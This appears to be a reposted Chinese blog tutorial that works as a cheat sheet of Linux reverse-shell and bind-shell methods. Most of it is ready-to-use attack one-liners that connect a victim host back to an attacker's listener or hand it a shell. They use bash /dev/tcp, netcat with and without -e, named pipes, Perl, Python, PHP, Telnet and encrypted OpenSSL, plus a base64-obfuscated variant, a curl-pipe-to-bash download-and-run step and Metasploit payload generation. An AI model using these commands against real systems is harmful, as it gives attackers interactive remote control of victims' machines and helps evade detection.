当前位置:   article > 正文

linux反弹shell方法_反弹shell代码

反弹shell代码

linux反弹shell方法

Linux文件描述符

文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件
文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容

在Linux系统中内核默认为每个进程创建三个标准的文件描述符:
0 (标准输入)
1 (标准输出)
2(标准错误)

通过查看 /proc/PID/fd 目录下的文件,就可以查看每个进程拥有的所有文件描述符

Linux标准文件描述符的操作

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文 件对象。当Linux启动的时候会默认打开三个文件描述符。

文件描述符缩写描述默认设备
0STDIN标准输入默认设备键盘
1STDOUT标准输出默认设备显示器
2STDERR标准错误输出默认设备显示器

Bash反弹Shell原理

什么是反弹shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

被控端

bash -i >& /dev/tcp/192.168.42.132/6666 0>&1
  • 1

攻击端

nc –lvvp 6666
  • 1

参数解释

bash -i    :    打开一个交互式的bash shell
/dev/tcp/IP/PORT    : /dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。 

0>&1  : 将输入重定向到标准输出,为了确保命令执行后的输入被正确的传回攻击机
  • 1
  • 2
  • 3
  • 4

打开/dev/tcp/ip/port 这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

通过 socket 连接通信
  1. 向 /dev/tcp/IP/PORT 写入内容
nc -lvvp 6666 
echo hello > /dev/tcp/192.168.42.132/6666
  • 1
  • 2

请添加图片描述

  1. 从 /dev/tcp/IP/PORT 读取内容,从攻击端监听输入的内容是什么
nc -lvvp 6666 
cat < /dev/tcp/192.168.42.132/6666
  • 1
  • 2

请添加图片描述

请添加图片描述

反弹shell方法

NC

这里nc监听到的会话没有终端的回显,可以通过python -c ‘import pty; pty.spawn(“/bin/bash”)’ 来获取到伪终端。

NC正向Shell(内鬼混进去开放端口,我方连接内鬼给的端口)
原 理: 被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

被控端: nc -lvvp 6666 -e /bin/sh 
控制端: nc 10.10.1.7 6666 
  • 1
  • 2

请添加图片描述
请添加图片描述

反向shell(我方监听,敌方有内鬼,把终端发给我)
原理: 被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端 口,即可获得shell。这个要先监听,再让被控端托管/bin/sh

控制端: nc -lvvp 6666

被控端: nc -e /bin/sh 192.168.42.132 6666

  • 1
  • 2
  • 3
  • 4

请添加图片描述

请添加图片描述

无 -e 参数反弹shell
如果nc 没有 -e 的选项,那就用其他方式进行反弹shell

mkfifo 命令首先创建了一个管道 文件为 f ,然后通过cat 将管道里面的内容输出传递给/bin/sh, sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道, 由此形成了一个回路。

//mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.42.132 6666 >/tmp/f

//mknod  , 这个反弹回来shell无终端,可以使用python 给它开伪终端
mknod backpipe p; nc 192.168.42.132 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
  • 1
  • 2
  • 3
  • 4
  • 5

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

bash
//经典
控制端: nc –lvvp 6666
被控端: bash -i >& /dev/tcp/47.101.214.85/6666 0>&1 


//其他方式   
exec 5<>/dev/tcp/192.168.42.132/6666;cat <&5 | while read line; do $line 2>&5 >&5; done

//base 64编码的绕过
nc –lvvp 6666


bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi82NjY2IDA+JjE=|base64 -d|bash -i"


//查找msf中所有payload 并查找跟bash相关的payload 然后awk '{print $1}'取出命令结果的第一列,这里是负载类型的名称。
msfvenom -l payloads | grep "bash" | awk '{print $1}'

//msf恶意文件
msfvenom -p cmd/unix/reverse_bash lhost=10.10.1.11 lport=6666 - f raw
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

命令解释:
exec 5<>/dev/tcp/192.168.42.132/6666 : 代表这个文件描述符5可以对/dev/tcp这个文件进行读写操作
cat <&5 : 把文件描述符5的内容 用cat 进行输出(用cat 来读取文件描述符5 的内容)
while read line : 循环,当有内容的时候,会执行错误输入和标准输入都重定向到文件描述符5指向的文件。

请添加图片描述

请添加图片描述

请添加图片描述

Perl
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM, getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i )))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" /bin/sh -i");};'
  • 1

这段Perl代码使用Socket模块创建了一个TCP套接字连接到IP地址为"47.101.214.85",端口号为"6666"的远程服务器。如果连接成功,它会将标准输入、输出和错误输出重定向到socket连接的文件描述符,并执行命令"/bin/sh -i",生成一个交互式Shell,从而使用户能够通过shell与远程服务器进行交互。

请添加图片描述

请添加图片描述

请添加图片描述

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN- >fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  • 1

使用IO模块建立一个TCP反弹shell。
先使用fork创建一个子进程。 如果当前进程是子进程,则退出,这是为了让子进程成为后台进程。
如果当前进程是父进程,则创建一个新的IO::Socket::INET对象,并连接到目标主机的IP地址为"47.101.214.85",端口号为"6666"的地方,并获得与socket对象的文件描述符相关联的I/O流。
使用system函数在Shell中执行输入的命令。

请添加图片描述

请添加图片描述

请添加图片描述

curl
攻击机
//先编辑一个html文件 ,写入自己的反弹Shell,再开启http 服务提供远程的下载

//受害机器请求连接,并用bash解释器将curl下载的文件作为脚本执行
curl http://192.168.42.132:8000/shell.html | bash

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

请添加图片描述

请添加图片描述
请添加图片描述

Python

Python一行命令反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0 );os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call (["/bin/sh","-i"]);'
  • 1
  1. 导入Python的socket、subprocess和os模块。
  2. 使用socket模块创建一个AF_INET类型和SOCK_STREAM类型的socket对象s。
  3. 使用s.connect()方法连接到主机地址为 47.101.214.85 端口为 6666的服务器端口。
  4. 使用os.dup2()方法将标准输入、标准输出和标准错误连接到socket句柄,这是为了方便和远程服务器进行交互。
  5. 使用subprocess模块调用/bin/sh shell," -i"参数表示启动交互式shell。

请添加图片描述

请添加图片描述

通过Msfvenom生成python反弹shell的payload

//会自动生成payload 然后受害机器上 python -c "payload"
msfvenom -p python/meterpreter/reverse_tcp LHOST=139.155.49.43 LPORT=6666 -f raw 
handler -p python/meterpreter/reverse_tcp -H 139.155.49.43 -P 6666


//通过Web delivery反弹shell
use exploit/multi/script/web_delivery
set target 0
set payload python/meterpreter/reverse_tcp
set lport 6666
exploit –j
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

请添加图片描述

请添加图片描述

请添加图片描述

web传递方式

请添加图片描述

PHP

msfvenom -l payload | grep “php” | awk '{print($1)}’
PHP一行命令反弹shell

php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
  • 1
Ruby

msfvenom -l payload | grep “ruby” | awk ‘{print($1)}’

msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
  • 1
Telnet

受害机器要安装了才可以

攻击机: nc -lvvp 5555 nc -lvvp 6666 
目标机: telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
  • 1
  • 2
OpenSSL

openssl反弹443端口,流量加密传输

  1. 在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  • 1
  1. 在远程攻击主机上启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  • 1
  1. 在目标机上反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client - quiet -connect 192.168.42.132:443 > /tmp/s; rm /tmp/s
  • 1

请添加图片描述

请添加图片描述

注意所有操作都需要得到shell或webshell后才可以进行反弹操作,本文总结的是反弹的各类方法,以不同的环境用不同的手段

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/486477
推荐阅读
相关标签
  

闽ICP备14008679号